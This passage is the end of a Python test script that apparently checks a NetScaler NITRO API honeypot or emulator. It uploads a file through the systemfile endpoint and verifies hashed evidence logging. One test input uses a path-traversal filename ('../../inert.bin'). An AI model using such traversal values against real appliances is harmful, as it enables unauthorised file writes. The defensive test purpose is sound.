connection.request('POST','/nitro/v1/config/systemfile',body,{'Content-Type':'application/json','X-NITRO-USER':'probe','X-NITRO-PASS':'inert'})
response=connection.getresponse();assert response.status==201;response.read();connection.close()
digest=hashlib.sha256(payload).hexdigest()
assert (pathlib.Path(directory)/'artifacts'/(digest+'.bin')).read_bytes()==payload
records=[json.loads(row) for row in (pathlib.Path(directory)/'events.jsonl').read_text().splitlines()]
upload=next(row for row in records if row['event']=='upload')
assert upload['filename']=='../../inert.bin' and upload['evidence']['sha256']==digest
assert any(row['event']=='request_body' and row['evidence']['sha256']==hashlib.sha256(body).hexdigest() for row in records)
finally:
server.shutdown();server.server_close();thread.join(3);evidence.close()
print('PASS: resource catalog, auth, CRUD, actions, queries, source isolation and byte-exact NITRO files')
if __name__=='__main__':main()